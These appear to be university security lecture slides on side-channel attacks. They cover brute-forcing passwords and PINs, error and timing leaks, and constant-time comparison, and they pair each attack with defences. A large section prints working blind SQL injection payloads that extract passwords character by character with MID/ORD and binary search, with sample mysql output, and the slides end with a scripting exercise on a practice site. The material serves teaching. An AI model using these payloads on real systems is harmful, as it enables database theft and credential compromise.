Side Channels

Sicurezza (CT0539) 2019-20 Università Ca' Foscari Venezia

Riccardo Focardi

www.unive.it/data/persone/5590470
secgroup.dais.unive.it



Introduction

Side channels

It is often the case that applications have **side effects**: an observable effect reflecting the internal state

If the side effect depends on a secret value we have a *partial* leakage

If the leakage is **enough to recover the secret** then we have an attack

Necessary leakages

Consider a **failure** in password check:

- 1. User enters a password
- The system checks the password (hash)
- If the password is incorrect the user is notified

Leak: at each iteration the attacker **discovers** that a certain password is **incorrect**

⇒ An attacker might directly bruteforce a password online

Solutions:

- slow down password check after some errors
- 2. <u>disable</u> user account after some errors

Example: PINs

Small search space ⇒ the attack becomes **fast!**

- ATM PIN
- Telephone (SIM) PIN
- Any smartcard PIN
- Smartphone PIN
- ...
- ⇒ 5 digits PINs are just 99999!

Slowing down is not effective

Only possible solution: <u>Lock</u> device after some attempts

⇒ The <u>leakage rate</u> matters

Kind of side channels

Side channels can be based on

- Errors
- Time
- Content
- Size
- Power consumption
- Electromagnetic emissions
- ..

Errors

Example: Wrong credentials

We cannot ignore the error, but we can **minimize** the leak by "hiding" what is wrong

- 1. if username is wrong return "User does not exists"
- 2. if password is wrong return "Goog password"

Solution: if either username or password is wrong return "Wrong credentials"

Time attacks

Consider again the example: if either username or password is wrong return "Wrong credentials"

The test "either username or password is wrong" might be **faster** when the username is wrong

⇒ an attacker observing **time** could still deduce that the User does not exists!

Solution: use time-safe code!

Time: string comparison

Comparison can take different time depending on "how different" are the compared values

```
'aaaaaaaaa' == 'aaaaaaaaaa'
```

can be slower than

```
'aaaaaaaaa' == 'aaaaaaabb'
```

⇒ test stops at the first wrong character! When strings differ early the test speeds up even more:

Examples:

```
'aaaaaaaaa' == 'baaaaaaaa'
```

are tipically faster than previous examples

Time: string comparison attack

Attacker starts from

```
'axxxxx' == '******
```

•••

⇒ Slower! first * is s!

Then

```
'saxxxxx' == '******
```

...

⇒ Time difference allows for brute-forcing single characters!

Time-safe functions

Functions that take the same time, independently of parameters

Example:

The PHP function

```
bool hash_equals (
    string $known_string ,
    string $user_string
)
```

Compares strings using the <u>same</u> <u>time</u> whether they're equal or not

This function should be used to **mitigate timing attacks**; for instance, when testing crypt() password hashes.

Neither PHP's <u>== and === operators</u> nor <u>strcmp()</u> perform constant time string comparisons

Blind SQL injection

An injection that exploits a *side* channel to leak information:

- The injection queries sensitive data
- The result is <u>leaked via side</u> channel
- ⇒ It is used when the result of the query cannot be directly displayed

Possible side channels

Depending of the query **success**, the application shows:

- a distinguishable message
- an error
- a broken page
- an empty page
- ...

Intuitively, we get a 1-bit boolean answer

⇒ **Iteration** might leak the whole sensitive data

Example

Consider a **password recovery** service that sends an email with a new password to users, if they are registered in the system

- If the user is registered the email is sent
- otherwise an error message is displayed

No information from the database is displayed but the error message depends on the actual query

⇒ if the attacker can make the error depend on database information then 1 bit can be leaked

Example ctd.

Suppose the query checking the existence of the EMAIL (given as **input**) in the database is something like:

```
SELECT 1 FROM ... WHERE ... email='EMAIL'
```

If the query is successful the answer is YES otherwise the answer is NO (including when there is an **error** in the query)

What is the effect of input EMAIL = ' OR 1 #?

⇒ Makes the query **succeed** but <u>does not leak any data</u>

However, the attacker discovers that <u>injections are possible</u>

Leaking something

The attacker injects the following code:

```
' OR (SELECT 1 FROM people LIMIT 0,1)=1 #
```

- success: if the table people exists
- fail: if the table people does not exist

Notice the usage of LIMIT 0,1 to just get the first row, where 0 is the OFFSET and 1 the ROWCOUNT

⇒ It takes the first row of the result, it is necessary to get a single 1 as result

Is the query OK?

```
mysql> SELECT 1 FROM people WHERE mail=' OR
        (SELECT 1 FROM people LIMIT 0,1)=1;
+---+
                                         With 10 users the query
                                       returns 10 rows with value 1
                                       (can be OK or not ... maybe
                                      the web application crashes)
10 rows in set (0.00 sec)
```

Emulating the original query

The attacker can **limit** the result to one row by adding another LIMIT directive as follows:

```
mysql> SELECT 1 FROM people WHERE mail='' OR

(SELECT 1 FROM people LIMIT 0,1)=1 LIMIT 0,1;

+---+

| 1 |

+---+

| 1 |

row in set (0.00 sec)
```

Errors

The query could fail

In case of error the application might

- break ⇒ showing an error message
- ignore it \Rightarrow consider the result as 0

In both cases the error is distinguishable from the success case

Checking column name

The attacker can use the **MID** function to check the existence of a particular column

```
MID(password, 1, 0) gets the substring of length 0 from position 1
```

```
SELECT 1 FROM people WHERE mail='
' OR (SELECT MID(password,1,0) FROM people LIMIT 0,1)=' #
```

⇒ Only when **password** exists the attacker gets a positive result

Leaking arbitrary data

Once table and column names are known the attacker can leak arbitrary data brute-forcing single characters:

```
' OR (SELECT MID(password,1,1) FROM people LIMIT 0,1)='a' #
```

' OR (SELECT MID(password, 1, 1) FROM people LIMIT 0, 1) = 'b' #

•••

- ' OR (SELECT MID(password,1,1) FROM people LIMIT 0,1)='z' #
- ⇒ Brute-forces the first character of the first password!

Binary search

Binary search makes search efficient:

```
' OR (SELECT ORD(MID(password,1,1)) FROM people LIMIT 0,1)<=ORD('m') #
FALSE
' OR (SELECT ORD(MID(password,1,1)) FROM people LIMIT 0,1)<=ORD('t') #
FALSE
' OR (SELECT ORD(MID(password,1,1)) FROM people LIMIT 0,1)<=ORD('w') #
FALSE
' OR (SELECT ORD(MID(password,1,1)) FROM people LIMIT 0,1)<=ORD('y') #
TRUE
' OR (SELECT ORD(MID(password, 1, 1)) FROM people LIMIT 0, 1) <= ORD('x') #
TRUE
```

Binary search

```
abcdefghijklmnopqrstuvwxyz

FALSE

FALSE

FALSE

TRUE

TRUE
```

 \Rightarrow Worst case: 5 queries for lowercase letters ($\log_2 26 \sim 4.7$)

Totally blind SQL injection

The web application does **NOT** show:

- any distinguishable message
- any error
- any broken page
- any empty page
- ...
- ⇒ The attacker can still **use time**

Time based attack (blind injection)

The attacker still uses binary search:

When the internal query is successful the query "sleeps" for some time

⇒ Time should be enough to be **observed remotely**!

Attack is **slow** but can potentially **leak** the whole database!

Summary

Assume that the web application:

- is vulnerable to SQL injection
- does not display query results

Blind injection: the application behaves differently depending on query result

Totally blind injection: the application behaviour is independent of the query

The attacker can

- guess table and column names
- attack information_schema in order to dump database structure

The whole database is **dumped** character by character

Binary search improves the efficiency

Exercise

WeChall: Blinded by the light

- White box challenge: source code is available
- Needs scripting: use <u>python requests</u>

Attack plan:

- Study the source code
- Try injections by hand
- Script your attack to solve the challenge

NOTE: Behave correctly and respect the WeChall site!